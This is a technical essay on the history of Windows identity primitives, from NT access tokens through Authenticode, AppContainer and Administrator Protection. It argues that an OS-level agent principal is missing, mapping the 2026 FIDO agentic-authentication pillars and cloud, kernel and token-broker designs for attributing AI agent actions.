timeline title Genealogy of the user-as-principal model 1965 : Multics : Corbato and Vyssotsky present at AFIPS FJCC : Per-user authentication as a kernel primitive 1969 : TENEX : BBN ports the user-as-principal model to PDP-10 1971 : Lampson's access-matrix model : Subject x object x right : Foundation for SeAccessCheck and the DACL 1988 : Hardy's Confused Deputy : Authority from two sources, no way to name which 1993 : NT 3.1 ships : One primary token per process, user SID as principal

Seventeen years later, in 1988, Norm Hardy writes The Confused Deputy at Key Logic (the company formed from the wreckage of Tymshare, where the events Hardy describes had occurred years earlier). Hardy's compiler is a FORTRAN compiler with a home-files licence; it legitimately holds authority to write into one path (the billing file (SYSX)BILL) so it can record per-user compilation charges, and it legitimately accepts user-supplied output paths so it can write generated .obj files where the user requests. A clever user supplies (SYSX)BILL as the output path. The compiler obediently writes the user's output over the billing record, because the compiler "had no way of expressing these intents" [@hardy-caplore].

Hardy's punchline is structural, and the article will return to it once more. "The fundamental problem is that the compiler runs with authority stemming from two sources. (That's why the compiler is a confused deputy.) ... The compiler had no way of expressing these intents!" [@hardy-caplore]. The deputy holds authority from two principals (itself, the licensed compiler; and the user it is serving), and the system the deputy talks to has no protocol for the deputy to say which authority it is exercising for this action. Any system that grants a deputy ambient authority from multiple sources without giving the deputy a way to name those sources at the syscall is a confused-deputy system by construction. The ACM Digital Library carries the canonical reprint at 10.1145/54289.871709 [@hardy-acm], with the cap-lore.com mirror as the fetchable secondary.

Hardy 1988: a process holding authority delegated from one principal can be tricked into using that authority on behalf of another principal because the process has no way to attribute its actions to the right authorising principal at the syscall [@hardy-caplore]. The structural lower bound on agent attribution.

July 27, 1993 [@wiki-nt31]. Dave Cutler ships NT 3.1. Every process on NT carries exactly one primary token; the token's user SID is the principal; impersonation is the only way a thread can temporarily speak as a different identity, and impersonation is bounded to the thread, not the process. Microsoft Learn states the consequence verbatim: "Each time a user signs in, the system creates an access token for that user. The access token contains the user's SID, user rights, and the SIDs for any groups the user belongs to" [@ms-learn-sids]. That description is the Multics inheritance with thirty years of refinement: one principal per process, the principal is a user, the access-check is the operational form of Lampson's matrix.

This is the user-identity milestone, not the code-identity milestone. NT 3.1 made user identity precise. The process that ran an attached binary still had no answer to "who is this code?" -- and as the late-1990s ActiveX download experience would prove, that gap could not stay open.

3. Layering code identity on user identity: 1996 to 2017

August 7, 1996. A joint Microsoft and VeriSign press release crosses the wire: Microsoft and VeriSign Provide First Technology For Secure Downloading of Software Over the Internet [@ms-news-authenticode-1996]. Internet Explorer 3.0 will ship with the new model the same year. The model has a name: Authenticode. The question this section asks: did Authenticode and its successors solve the principal question, or did they only decorate it?

The pattern that emerges across five generations of code-identity layering deserves a name. Every generation answers a real failure of the one before it. Every generation adds an attribute to the access decision -- a publisher signature on the binary, a policy gate at load time, a second SID in the token, a kernel-mode code-integrity policy. And every generation leaves the runtime principal unchanged. The user is still the user. The token's primary SID is still the user SID. The downstream consumer (Defender, an ETW provider, a remote RPC server, a file-system DACL) still sees one principal.

3.1 Authenticode (1996, NT 4.0 with IE 3.0)

Authenticode is a load-time attribute. The publisher signs the PE on disk; the signature is a PKCS #7 blob embedded in a dedicated PE attribute certificate slot [@ms-learn-cryptography]. When the loader maps the binary, Windows can verify the signature, walk the certificate chain to a trusted root, and present the publisher name to the user (in IE 3.0's case, in the famous ActiveX install dialog). Cross-vendor code-signing history places Authenticode among the earliest widely-deployed commercial schemes to bind a publisher identity to a downloaded executable [@wikipedia-codesign; @ms-news-authenticode-1996].

Authenticode is a load-time attribute -- the publisher signs the file on disk, not the running process. After the loader has validated the signature and mapped the image, the running process's primary token has nothing in it that records "this binary was signed by Microsoft Corporation." The runtime principal is unchanged from what the user's logon session created.

The failure mode that forces the next generation is structural. A signature is descriptive ("this file is from Microsoft"), not authoritative ("this process is acting with Microsoft's authority"). A binary's publisher is attached to the file on disk; nothing about it propagates into the access decision the kernel makes when the process opens a network socket, decrypts a DPAPI blob, or impersonates over RPC.

3.2 SRP and AppLocker (2001, 2009)

Software Restriction Policies arrived first with Windows XP (October 2001) [@wiki-winxp] and shipped again with Windows Server 2003 (April 2003) [@wiki-srv2003]; AppLocker arrived on Windows 7 (October 22, 2009) [@wiki-win7] and Server 2008 R2 as the formal successor. Microsoft Learn says it directly: "AppLocker policies in the GPO are applied and supersede the SRP policies in the GPO and any local AppLocker policies or SRP policies" [@ms-learn-srp-applocker]. Both layers are policy gates: an administrator authors rules naming publishers, hashes, or paths, and the OS enforces the rules at process creation. The runtime token is, again, unchanged.

The failure mode is one Microsoft itself documents in unusually plain language. The AppLocker overview reads, verbatim: "AppLocker is a defense-in-depth security feature and not considered a defensible Windows security feature" [@ms-learn-applocker]. The same page directs administrators to App Control for Business when the goal is defensible threat protection. Defense-in-depth means the feature raises attacker cost; it does not promise an attacker cannot bypass it. That promise is reserved for documented security boundaries.

3.3 AppContainer and the package SID (Windows 8, October 26, 2012 general availability)

AppContainer is the first time the kernel carries a second principal-shaped SID in the token's group list. Windows 8 ships with the new sandbox; every UWP app process runs with an S-1-15-2-... package SID attached to its primary token, alongside the user SID and the user's group SIDs. The dual-principal model has a verbatim Microsoft Learn definition: "This dual-principal model ensures that access to sensitive resources is tightly controlled and can be managed independently for different applications ... the permitted access is the intersection of that granted by the user/group SIDs and AppContainer SIDs" [@ms-learn-appcontainer].

The kernel sandboxing primitive shipped in Windows 8 (October 26, 2012 general availability) [@ms-learn-appcontainer; @wiki-win8]. It attaches a second SID (`S-1-15-2-...`) to a process's access token; access decisions become the intersection of user/group SIDs and the package SID, gated further by capability SIDs (`S-1-15-3-...`) the app declares in its manifest [@ms-learn-appcontainer]. The kernel-internal name for the structure is the LowBox token, which is why the relevant API is `NtCreateLowBoxToken` [@ms-learn-appcontainer-legacy].

The dual-principal language is real and load-bearing. It is also not what the article needs. The package SID identifies a package (the UWP manifest, the MSIX bundle), not an agent role. Nothing upstream tells Defender, ETW, or Conditional Access whether the package SID it sees represents an AI agent, a UWP calculator, or a games launcher. AppContainer also originally targeted UWP only; the legacy-applications variant arrived later as a way to retrofit unpackaged Win32 apps into the same kernel substrate [@ms-learn-appcontainer-legacy], which is the path Win32 App Isolation (June 14, 2023) extends [@ms-blogs-win32appiso].

3.4 App Control for Business (2017 onwards)

App Control for Business -- the policy formerly known as Windows Defender Application Control (WDAC), which arrived as a named feature in Windows 10 1709 (Fall Creators Update, released October 17, 2017) [@wiki-win10vh] -- is the kernel-mode code-integrity policy enforced by the loader itself [@ms-learn-appcontrol]. Unlike AppLocker, App Control for Business is on the documented security-boundary list when configured per the supported guidance; it can cover DLL loads, driver loads, and script-host loads with a single policy. The runtime principal is, predictably, still the user.

flowchart TD subgraph TokenAtRuntime["What is in the primary token"] US["User SID (1993)"] PSID["Package SID (2012)"] IL["Integrity level overlay (2006)"] end subgraph GateBeforeRuntime["What gates execution before the token exists"] AC["Authenticode signature (1996)"] SRP["SRP and AppLocker (2001 and 2009)"] WDAC["App Control for Business (2017)"] end AC --> SRP --> WDAC US --> PSID --> IL GateBeforeRuntime -.-> TokenAtRuntime classDef def fill:transparent

Note: Each generation of Windows code identity pushed the publisher, package, or integrity attribute into the token or into a load-time gate, but the runtime principal stayed the user. The agent-attribution problem is the third instance of this pattern -- the question shifts from "who wrote this code?" to "who instructed this code right now?" but the architectural answer Windows has shipped is the same answer it shipped in 1993.

So a reader who arrived at this article believing Windows must have some way of attributing what an AI agent does, given how much identity machinery has accumulated since 1993, can now see why the belief is wrong. Authenticode signs the file on disk. AppLocker is defense-in-depth. The AppContainer package SID is per-package, not per-role. App Control for Business controls what code runs, not which principal carries the authority once code is loaded. Five generations of layering identity attributes; one user SID at the centre.

If we take the genealogy seriously and ask what a sixth generation -- a second principal attached to the process at the kernel layer -- would have to look like, the answer is sitting in an Insider build.

4. Six generations, plus the one that hasn't shipped

Read the genealogy as a forcing function and the shape becomes clear. Every generation of Windows app identity was forced by a specific failure of the one before it, and the forced response was never "replace the existing identity model" -- it was always "add an attribute or a sibling principal alongside it." That conservation rule is what makes Windows identity legible across thirty-three years. It is also what makes the seventh generation visible by its absence.

The six shipped generations are easy to enumerate.

Generation 1: NT 3.1 primary token (July 27, 1993). One primary token per process. The token carries a user SID and a group SID list [@ms-learn-sids; @wiki-nt31]. The runtime principal is the user.
Generation 2: Authenticode (August 7, 1996). Publisher signature attached to the binary on disk [@ms-news-authenticode-1996]. Runtime token unchanged.
Generation 3: SRP, then AppLocker (2001, October 22, 2009). Group-Policy execution gates; runtime token unchanged; AppLocker explicitly defense-in-depth, not a defensible boundary [@ms-learn-applocker; @ms-learn-srp-applocker; @wiki-winxp; @wiki-win7].
Generation 4: AppContainer and the package SID (October 26, 2012). Second principal-shaped SID in the token group list. Access check is the intersection of user and package authority [@ms-learn-appcontainer; @wiki-win8]. Runtime principal is still the user.
Generation 5: App Control for Business (2017 onwards). Kernel-mode code-integrity policy; defensible boundary; controls what code can run, not which principal carries authority [@ms-learn-appcontrol; @wiki-win10vh].
Generation 6: Administrator Protection (late 2025 Insider, iterating through 2026). The first shipping Windows feature that mints a true second logon-session principal for a bounded action, gated by a Windows Hello user-verification gesture [@ms-techcomm-adminprot].

Administrator Protection is the interesting one. The feature surfaced on Windows 11 Insider builds in late 2025; subsequent Insider build iterations have continued through 2026, with a temporary disablement and re-enablement during that window [@ms-techcomm-adminprot]. As of May 2026 it is not yet generally available; the Tech Community announcement page is the canonical reference for the design [@ms-techcomm-adminprot].

The structural innovation is worth describing precisely. Pre-Administrator-Protection elevation on Windows used split tokens: an administrator user signs in, and the Local Security Authority creates two logon sessions for the same user, one filtered and one full. When the user clicks through the User Account Control prompt, the elevating process swaps its primary token from the filtered to the full session. Both sessions belong to the same user SID; the policy boundary is integrity-level and group-driven, not principal-driven.

Administrator Protection breaks that. The feature introduces a System-Managed Administrator Account shadow profile.The internal acronym is SMAA. It does not yet appear in whoami /all output on shipping builds. When the user authorises an elevation through Windows Hello, the elevated process runs under the separate SMAA logon session, scoped to that elevation [@ms-techcomm-adminprot]. The Hello gesture is the verification step; the separate session is the new principal; the bound is the single elevated action.

Key idea: Every generation of Windows app identity has been forced by a specific failure of the previous generation, and every forced response added an attribute or a sibling principal alongside the existing one -- but until Administrator Protection (Generation 6, Insider in 2026, not yet generally available), no shipping Windows feature minted a true second principal for a bounded action.

Administrator Protection is the existence proof. Windows can mint a second logon-session principal for a bounded action under a user-verification gesture. The architectural question this article asks: can the same pattern generalise from elevation to delegation?

flowchart TD G1["Gen 1: NT 3.1 primary token (1993). User SID only."] G2["Gen 2: Authenticode (1996). Publisher attached to binary."] G3["Gen 3: SRP and AppLocker (2001, 2009). Execution gates."] G4["Gen 4: AppContainer and package SID (2012). Second SID in token."] G5["Gen 5: App Control for Business (2017+). Kernel-mode CI."] G6["Gen 6: Administrator Protection (late 2025 Insider). Second logon session for elevation."] G7["Gen 7 (missing): AgentPrincipal. Second logon session for delegation."] G1 --> G2 --> G3 --> G4 --> G5 --> G6 -.-> G7

The missing seventh generation is what this article is about. It exists at the cloud layer. Microsoft's Entra Agent ID has been in public preview since May 19, 2025 [@ms-security-blog-agentid] and was the centrepiece of the Ignite 2025 expansion that Microsoft itself called "the largest expansion of Microsoft Entra capabilities to date, extending Zero Trust principles to AI workloads" [@ms-learn-ignite25]. The FIDO Alliance has named the wire-format design space [@fido-aatwg-pr]. The IETF has an individual draft for the OAuth wire format [@ietf-draft-agentoauth]. The OS layer does not have an analog.

If Generation 6 is the existence proof at the OS layer, what just happened at the cloud layer that finally makes the delegation case unavoidable?

5. April 28, 2026: the wire format goes public

April 28, 2026. The FIDO Alliance press release crosses the wire. FIDO Alliance to Develop Standards for Trusted AI Agent Interactions [@fido-aatwg-pr]. The opening sentence is the inflection point: "The FIDO Alliance today announced initiatives to develop interoperable standards for agentic interactions and commerce." Andrew Shikiar, FIDO Alliance CEO, is the launch spokesperson. The BusinessWire mirror under wire ID 20260427506015 carries the same text [@fido-aatwg-bw], and independent press coverage from HelpNetSecurity (April 29, 2026) [@helpnetsecurity-aatwg] and PPC Land [@ppcland-aatwg] corroborate the launch.

Four interlocking pieces of news land in the same press release.

5.1 The three AATWG pillars

The Agentic Authentication Technical Working Group is chartered around three pillars [@fido-aatwg-pr]. The press release wording is verbatim because the wording is what every downstream protocol will quote.

Verifiable User Instructions. "Enabling users to authorise AI agents through clear, phishing-resistant mechanisms so agents only perform approved actions, including transactions, without exposing credentials" [@fido-aatwg-pr]. The wire-format primitive: a passkey-signed delegation token bound to a specific intent ("approve $50 to vendor X"), with replay protection and a short TTL.
Agent Authentication. "Allowing services to verify that an AI agent is acting on behalf of an authenticated user and within defined parameters, distinguishing legitimate agents from unauthorised actors" [@fido-aatwg-pr]. The wire-format primitive: an attestation binding an agent class (optionally a specific instance) to a verifiable identity assertion.
Trusted Delegation for Commerce. "Defining how agent-initiated transactions can be executed within user-controlled boundaries, with verifiable authorisation" [@fido-aatwg-pr]. The wire-format primitive: the AP2 mandate or Verifiable Intent SD-JWT chain binding an agent action to a user-approved scope and constraint set.

The FIDO Alliance today announced initiatives to develop interoperable standards for agentic interactions and commerce ... Verifiable User Instructions ... Agent Authentication ... Trusted Delegation for Commerce. -- FIDO Alliance press release, April 28, 2026 [@fido-aatwg-pr]

5.2 The governance

The taxonomy matters because over-attribution is one of the easier mistakes to make in this story. AATWG chairs are CVS Health, Google, and OpenAI; vice-chairs are Amazon, Google, and Okta; the parallel Payments Technical Working Group is chaired by Mastercard and Visa [@fido-aatwg-pr]. Co-sponsors include OpenAI, Amazon, Okta, CVS Health, Visa, and Proof, plus the donating partners (Google, Mastercard). Proof Inc.'s Know Your Agent framework is a separate Sponsor-tier contribution to FIDO; it is not an AATWG chair or vice-chair role.

5.3 The foundational donations

Google's Agent Payments Protocol (AP2) and Mastercard's Verifiable Intent framework are the foundational donations [@ap2-blog-google; @mastercard-vi]. AP2 was open-sourced on September 16, 2025 [@ap2-cloud-blog] at github.com/google-agentic-commerce/AP2 under Apache 2.0 [@ap2-github]; v0.2 shipped alongside the FIDO donation, with the v0.2 release notes calling out "Human Not Present" payments [@ap2-blog-google]. Mastercard's Verifiable Intent specification is hosted at verifiableintent.dev as Draft v0.1, describing a three-layer SD-JWT delegation chain (Identity, Intent, Action) with eight constraint types -- amount bounds, merchant allow-lists, budget caps, recurrence terms -- "cryptographically bound and machine-verifiable" [@vi-dev]. The underlying credential model is the W3C Verifiable Credentials Data Model v2.0 W3C Recommendation [@w3c-vc-2].

The mandate vocabulary drifted between the September 2025 AP2 launch and the v0.2 release. The launch announcement at cloud.google.com described "Intent / Cart / Payment" mandates [@ap2-cloud-blog]; the current ap2-protocol.org spec describes "Checkout (Open / Closed) + Payment (Open / Closed)" [@ap2-protocol]. Readers diffing the September 2025 blog against the April 2026 spec should expect the vocabulary, not the underlying primitives, to have changed.

5.4 The Microsoft parallel

Microsoft has been on the same arc for nearly a year. The Build 2025 security blog, dated May 19, 2025, introduced Microsoft Entra Agent ID in public preview: "We are excited to introduce Microsoft Entra Agent ID, which extends identity management and access capabilities to AI agents" [@ms-security-blog-agentid]. The Workday Agent System of Record and ServiceNow AI Platform integrations announced on September 16, 2025 made Entra Agent ID a directory service for agents across two of the largest enterprise SaaS platforms [@prnewswire-workday]. The Ignite 2025 expansion (November 2025) was, in Microsoft's own framing, "the largest expansion of Microsoft Entra capabilities to date, extending Zero Trust principles to AI workloads" [@ms-learn-ignite25]; the agent OAuth protocol trio shipped at the same time [@ms-learn-agentoauth], and Conditional Access for agent identities followed into preview in early 2026 [@ms-learn-caagent]. WinBuzzer (May 20, 2025) corroborates the public-preview launch [@winbuzzer-agentid].

flowchart LR P1["Pillar 1: Verifiable User Instructions"] P2["Pillar 2: Agent Authentication"] P3["Pillar 3: Trusted Delegation for Commerce"] W1["Wire: passkey-signed delegation token, intent-bound, short TTL"] W2["Wire: attestation + identity assertion, agent class or instance"] W3["Wire: AP2 mandate or Verifiable Intent SD-JWT chain"] P1 --> W1 P2 --> W2 P3 --> W3

So the reader's understanding shifts. Before April 28, 2026 the easy mental model was that AI agents were a product feature, not an identity question. After the FIDO press release the design space is named, governed, and partially specified on the wire. The further shift drives the rest of the article: the cloud layer is no longer the gap. Entra Agent ID has shipped a directory; OAuth Token Exchange has had the act and may_act claims standardised since January 2020 [@ietf-rfc-8693]; the MCP authorisation profile has its 2025-11-25 revision live [@anthropic-mcp-2025-11-25]; AP2 and Verifiable Intent are now under FIDO governance.

The gap is on the desktop. So if we take the three pillars seriously, which Windows primitive does each pillar already have a substrate for, and which Windows primitive is missing?

6. Mapping the three pillars onto Windows primitives

One section. Three sub-sections, one per pillar. For each: the existing Windows primitive, the API surface that exposes it, and the missing glue that turns it into a pillar-compatible building block.

6.1 Pillar 1: Verifiable User Instructions on Windows

The substrate exists in user mode and lives in webauthn.dll, the Win32 platform-authenticator entry point. Microsoft Learn describes it verbatim: "Provides Win32 apps with APIs for communicating to Windows Hello and external security keys as part of WebAuthN and CTAP specifications" [@ms-learn-webauthn-api]. Windows Hello provides the TPM-rooted user-verification gesture: "credentials are asymmetric and generated within isolated environments of TPMs" [@ms-learn-hello]. The credential provider model in Winlogon, the passkey provider plug-in model in Windows 11 24H2, and per-relying-party passkey isolation in Windows Hello for Business round out the platform-authenticator surface.

What is missing is a Windows-native agent action approval UI surface. Today's pieces let a relying party in the browser ask the user to authenticate to that relying party; they do not let a locally-installed agent ask the user to authorise a specific action ("approve $50 to vendor X"; "approve rm -rf .\old-builds") by minting a per-action, intent-bound delegation token signed by the user's passkey with replay protection and a TTL measured in seconds. The Pillar 1 wire format AATWG is developing is exactly this kind of token; the Windows-side glue would land it as a system UI surface (analogous to UAC, but minting a passkey assertion rather than escalating an integrity level), wired into the WebAuthn platform authenticator and audited via ETW.

The Windows-resident OAuth token broker that ships with the operating system. WAM acts as an authentication broker on Windows 10 1703 and later; "WAM ensures that the refresh tokens are device bound and enables apps to acquire device bound access tokens" [@ms-learn-wam]. WAM is the on-device credential broker for Microsoft Entra ID; it does not work with third-party identity providers as of May 2026.

6.2 Pillar 2: Agent Authentication on Windows

The kernel substrate is AppContainer plus the package SID. The verbatim Microsoft Learn dual-principal model is the load-bearing citation: "the permitted access is the intersection of that granted by the user/group SIDs and AppContainer SIDs" [@ms-learn-appcontainer]. The cryptographic binding from binary to package is Authenticode signing the file [@ms-news-authenticode-1996; @wikipedia-codesign] and App Control for Business as the policy gating the loader [@ms-learn-appcontrol]. The privacy-preserving agent-class attestation primitive is Direct Anonymous Attestation, defined in the TPM 2.0 Library Specification by the Trusted Computing Group; the corpus's sibling DAA article describes the protocol in detail, and the verbatim TCG specification language is sourced there.

A TPM 2.0 protocol that lets a device prove membership in a privacy-preserving group without revealing the specific device identity. In the agent setting, DAA would let an agent vendor prove "this binary is a member of the *signed Claude Desktop* class" without revealing which specific desktop installation is making the call. The protocol's group-signature mathematics is the load-bearing primitive.

What is missing on Windows is a kernel-recognised AgentPrincipal that downstream consumers treat as first-class. Today the package SID is the closest signal; it is also category-incorrect, because the package SID represents a package, not an agent role. An AgentPrincipal would be a third token-resident SID alongside the user SID and the package SID, with its own ACL slot in opt-in DACLs, its own SubjectAgentSid field in SeAccessCheck audit events, its own ETW header alongside SubjectUserSid, its own RPC binding-handle metadata, and its own claim in the access tokens WAM mints. Defender, EDR, on-device Conditional Access -- every consumer that today reads the user SID would gain a sibling field.

The dominant deployment pattern for AI agents on Windows desktops in May 2026 is Electron plus an NSIS or MSI per-user installer, not MSIX plus the AppContainer kernel substrate. Claude Desktop, ChatGPT Desktop, and Cursor all ship through this Electron path; GitHub Copilot CLI ships as a Node.js CLI via npm (`@github/copilot`), WinGet (`GitHub.Copilot`), or an MSI installer from the github/copilot-cli GitHub Releases page, which is a different non-MSIX-packaged path but is structurally equivalent for the purposes of this article -- no package SID, no AppContainer kernel substrate, primary token traces to the user. Each of them runs under the user's primary token without a package SID; the WebAuthn platform authenticator is available to them via `webauthn.dll`, but the kernel-substrate dual-principal model under AppContainer is not.

Win32 App Isolation, announced in public preview on June 14, 2023, is the in-flight retrofit. The launch blog describes it directly: "We are thrilled to announce the public preview launch of Win32 app isolation ... Win32 app isolation is built on the foundation of AppContainers ... AppContainer, which is recognized as a security boundary by Microsoft" [@ms-blogs-win32appiso]. Adoption among agent vendors three years later is minimal; the Pillar 2 substrate exists, but the deployment substrate that would carry it does not.

6.3 Pillar 3: Trusted Delegation for Commerce on Windows

The act-on-behalf-of primitive on Windows is Kerberos S4U2Self and S4U2Proxy, formally specified in Microsoft's MS-SFU Kerberos Protocol Extensions [@ms-learn-mssfu]. S4U2Self lets a service obtain a service ticket for a user without that user's password (the "for" half); S4U2Proxy lets the service then present that ticket to a back-end service on the user's behalf (the "proxy" half). Resource-Based Constrained Delegation is the modern policy form: the back-end service authors which front-end services may delegate to it. Protected Users, Authentication Policies, and Authentication Silos are the policy plumbing. WAM is the on-device token broker for Entra-side delegation [@ms-learn-wam]; Microsoft's OAuth 2.0 On-Behalf-Of flow [@ms-learn-obo-flow] is the cloud analog.

Microsoft's Kerberos Protocol Extensions, formalised in MS-SFU, that let a server obtain a service ticket on behalf of a user without that user's password (S4U2Self) and then present that ticket to a back-end service (S4U2Proxy). They are the act-on-behalf-of primitive on Windows [@ms-learn-mssfu]. Resource-Based Constrained Delegation refines the policy: the back-end resource names the front-end services it accepts delegation from.

What is missing is a Macaroons-style mintable, attenuable, revocable capability-token format scoped to a per-tool allow-list. Macaroons were introduced by Birgisson, Politz, Erlingsson, Taly, Vrable, and Lentczner at NDSS 2014 (February 22, 2014) [@macaroons-ndss; @macaroons-gr]. The verbatim positioning from the Google Research abstract is the load-bearing description: "macaroons are bearer credentials, like Web cookies, macaroons embed caveats that attenuate and contextually confine when, where, by who, and for what purpose a target service should authorize requests" [@macaroons-gr]. The construction is a chained HMAC: a fresh HMAC of the previous HMAC plus a caveat. Any holder can append a caveat, derive a strictly weaker macaroon, and present it to a verifier; the verifier walks the chain, checks each caveat against its policy, and verifies the final HMAC against the issuer's secret.

Birgisson, Politz, Erlingsson, Taly, Vrable, and Lentczner at NDSS 2014 [@macaroons-ndss]. A bearer credential constructed as a chained HMAC over caveats; any holder can derive a strictly weaker credential by appending a caveat without round-tripping the issuer, but cannot derive a stronger one. The attenuation property is what makes macaroons the natural format for per-tool agent capabilities [@macaroons-gr].

In a Windows-shipping Pillar 3 implementation, the agent would not present the user's TGT to a downstream tool. The agent would present a macaroon issued at agent-install time -- attenuated to the specific tools the user authorised through a Pillar 1 Verifiable User Instructions flow -- and the tool would verify the macaroon plus an ETW emission carrying both SubjectUserSid and SubjectAgentSid. Revocation would land at the issuer (the WAM-resident macaroon authority), with a Continuous Access Evaluation analog fanning out to local token caches without logging the user out.

flowchart LR subgraph P1G["Pillar 1: Verifiable User Instructions"] P1S["Substrate: webauthn.dll, Windows Hello, passkey provider"] P1M["Missing: agent-action approval UI minting intent-bound delegation tokens"] P1S --> P1M end subgraph P2G["Pillar 2: Agent Authentication"] P2S["Substrate: AppContainer package SID, Authenticode, App Control, TPM 2.0 DAA, Pluton"] P2M["Missing: kernel-recognised AgentPrincipal across SeAccessCheck, ETW, RPC, Defender, CA"] P2S --> P2M end subgraph P3G["Pillar 3: Trusted Delegation for Commerce"] P3S["Substrate: Kerberos S4U2Proxy, RBCD, WAM, OBO flow, ETW"] P3M["Missing: Macaroons-style attenuable capability tokens plus AgentPrincipalSid in ETW"] P3S --> P3M end

The proposed access-check sequence is the second load-bearing diagram. Picture an agent in its own AppContainer, with its own package SID, holding a macaroon scoped to one tool. The agent calls the tool; WAM intercepts; if the action requires fresh user verification, Hello mints a passkey assertion; SeAccessCheck evaluates user SID, package SID, and the proposed agent SID; ETW emits the dual-principal record.

sequenceDiagram participant Agent as Agent process participant WAM as WAM broker participant Hello as Windows Hello participant Kernel as SeAccessCheck participant ETW as ETW provider Agent->>WAM: request tool access with macaroon WAM->>WAM: verify macaroon chain WAM->>Hello: if intent required, mint fresh assertion Hello-->>WAM: passkey assertion WAM->>Kernel: assemble token (user SID, package SID, agent SID) Kernel->>Kernel: access check with three principals Kernel-->>Agent: granted or denied Kernel->>ETW: emit dual-principal record

Pillar	Windows substrate that already ships	API surface	Missing glue
1: Verifiable User Instructions	`webauthn.dll`, Windows Hello, passkey provider	Win32 WebAuthn API; Hello credential provider	Agent-action approval UI; intent-bound passkey delegation tokens with short TTL
2: Agent Authentication	AppContainer + package SID, Authenticode + App Control, TPM 2.0 DAA, Pluton attestation	NtCreateLowBoxToken; LSASS package-SID assignment; TPM attestation	Kernel-recognised `AgentPrincipal` across `SeAccessCheck`, ETW, RPC, Defender, on-device CA
3: Trusted Delegation for Commerce	Kerberos S4U2Self/S4U2Proxy, RBCD, WAM, OBO flow, ETW	MS-SFU; MSAL WAM broker; Entra OBO token endpoint	Macaroons-style per-tool capability tokens; `AgentPrincipalSid` ETW field; CAE-style fan-out for revocation

Deployment pattern	Token at runtime	Where DPAPI lives	Network privilege
Non-MSIX user-mode (Claude Desktop / Cursor / ChatGPT Desktop: Electron + NSIS; Copilot CLI: Node.js + npm / WinGet / MSI)	User primary token; no package SID	User DPAPI scope (decryptable by any process under the same user)	Full user network privilege; user TGT available
MSIX-packaged AppContainer (Microsoft Copilot for Windows)	LowBox token with package SID; integrity level usually Low	Per-package DPAPI scope (isolated from other packages)	Capability-gated network egress per app manifest

So the substrate is largely on the box. The glue is not. What competing approaches already ship -- and which one wins?

7. Where the principal lives: three positions

Three architectural positions are already shipping enough code that "which one wins" is a real question. Each picks a different layer to host the agent principal: the cloud, the operating system, or the on-device token broker.

7.1 Cloud-only

Agent identity lives in the identity provider. Microsoft's Entra Agent ID is the reference design: agents are first-class directory objects, with their own client credentials, sign-in logs, Conditional Access policies, and audit trail in Purview [@ms-learn-agentid]. When an agent needs to call a back-end API on a user's behalf, it uses RFC 8693 Token Exchange [@ietf-rfc-8693] or Microsoft's OAuth 2.0 On-Behalf-Of flow [@ms-learn-obo-flow] to exchange the user's token for an actor-claim-carrying access token; the back-end API consumes the act and may_act claims to attribute the call.

Pros: works today, no kernel change, no Windows update required. The plumbing is fully specified at IETF [@ietf-rfc-8693; @ietf-rfc-9728; @ietf-oauth-v2-1], the Microsoft documentation is live [@ms-learn-agentoauth; @ms-learn-agentobo], and the directory exists [@ms-learn-agentid]. Cons: the OS never sees an agent principal. Every local file action, every DPAPI decrypt, every Kerberos ticket use, every RPC call inside the device collapses to the user identity. On-device endpoint detection cannot attribute. Continuous Access Evaluation knows the agent has been revoked in the cloud but cannot purge the user's local Kerberos cache or local DPAPI-protected secrets without logging the user out.

Microsoft Learn makes the cloud-only constraint explicit: "Agents aren't supported for OBO (/authorize) flows. Supported grant types are client_credential, jwt-bearer, and refresh_token" [@ms-learn-agentobo]. Agent identities are confidential clients only [@ms-learn-agentoauth]; the interactive-flow path used by browser-based delegation is not available to agent entities. Cloud-only works precisely because the agent never tries to participate in a desktop user-verification gesture. AzureFeeds (January 28, 2026) records the practical consequences for Conditional Access: agent authentication is "purely machine-driven" with no MFA prompt, no device check, and no authentication-strength evaluation [@azurefeeds-caagent].

7.2 OS-only

Hypothetical, not shipping. The kernel access-check, ETW, and RPC ACLs all carry an agent SID distinct from the user SID. Every event the kernel emits gets a SubjectAgentSid field next to the existing SubjectUserSid. The access check is a three-way intersection: user SID, package SID, agent SID. Capability SIDs gate per-resource consent the way they do today for UWP apps.

Pros: native attribution at every layer. EDR products read the agent SID directly from the kernel-supplied event header. File-system DACLs gain an explicit "deny the agent, allow the user" expression. On-device Conditional Access can refuse to release a DPAPI-protected secret if the requesting process carries an agent SID that has been revoked in Entra. Cons: requires a kernel-level change and a packaging story for non-MSIX agents (Electron in particular, the dominant deployment pattern). Without the packaging story, the kernel substrate exists but the deployment substrate does not.

7.3 Token broker

WAM extended with an agent-scoped token cache. The OS holds agent-scoped, attenuable tokens that any local agent process must mint from before calling a downstream API. The principal in the OS is still the user, but the token the agent presents to each downstream consumer is scoped to the agent.

Pros: reuses existing WAM plumbing [@ms-learn-wam]. WAM already binds refresh tokens to the device's TPM. Adding an agent-scope cache is plumbing, not architecture. Cons: cooperative. A malicious or buggy agent can bypass the broker and fall back to the user's TGT in the local Kerberos cache, the user's DPAPI master keys, or the user's network privileges. The broker can only attribute the agents that choose to be attributed.

A bearer OAuth access token, in OAuth 2.0 and OAuth 2.1, is a credential the bearer presents to a resource server; the server consults the issuer (via introspection or JWT signature verification) and accepts or rejects. Adding a new constraint means going back to the authorisation server and asking for a new token with the new constraint applied. Round-trip required.

A macaroon attenuates without a round-trip. The holder appends a caveat ("only for tool X", "only until 2026-05-25T15:00:00Z", "only with body hash matching sha256:...") and a fresh HMAC of the previous HMAC plus the caveat text. The verifier walks the chain, checks each caveat against its policy, and verifies the final HMAC against the issuer's secret. The holder cannot un-attenuate; the issuer does not have to be online. That property -- attenuation without a round-trip, by any party in the chain -- is what makes macaroons the natural format for per-tool agent capabilities [@macaroons-ndss; @macaroons-gr].

7.4 Three live spec families that complicate the picture

Three protocol families are racing in parallel and the article will not pretend any one is the obvious winner.

Anthropic's Model Context Protocol authorisation profile. Revision 2025-11-25 is the current authoritative profile [@anthropic-mcp-2025-11-25], and the MCP specification index confirms 2025-11-25 as the latest pointer [@anthropic-mcp-index]. The opening sentence makes the design choice explicit: "Authorization is OPTIONAL for MCP implementations. When supported: Implementations using an HTTP-based transport SHOULD conform to this specification. Implementations using an STDIO transport SHOULD NOT follow this specification, and instead retrieve credentials from the environment" [@anthropic-mcp-2025-11-25]. The HTTP profile is OAuth 2.1 [@ietf-oauth-v2-1] plus RFC 9728 [@ietf-rfc-9728] for resource metadata, with PKCE mandatory and dynamic client registration optional.
